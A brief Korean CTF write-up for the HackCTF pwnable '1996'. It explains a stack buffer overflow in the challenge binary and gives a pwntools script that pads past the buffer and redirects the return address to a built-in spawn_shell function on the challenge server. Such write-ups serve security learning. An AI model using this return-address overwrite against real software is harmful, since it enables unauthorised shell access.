HACKCTF - 1996

문제 화면

 

 

pwnable문제입니다.

1996 파일 하나 주는데 해당 파일을 실행시켜보면

 

 

./1996

 

이렇게 인풋하나를 받고 다시 출력시켜줍니다.

 

ida main

16번째 줄을보면 해당중에서 name을 받고

 

 

main spawn_shell

 

shell을 띄워주는 함수가 있으니 ret를 여기로 주면 될 것 같습니다.
페이로드는 아래와 같습니다.

 

 

from pwn import *
 
r = remote("ctf.j0n9hyun.xyz", 3013)
#r = process("./1996")
e = ELF("./1996")
context.log_level = "debug"
shell = 0x0000000000400897
 
r.recvuntil("? ")
 
payload = ""
payload += "A"*0x410 + "A"*0x8
payload += p64(shell)
 
r.sendline(payload)
 
r.interactive()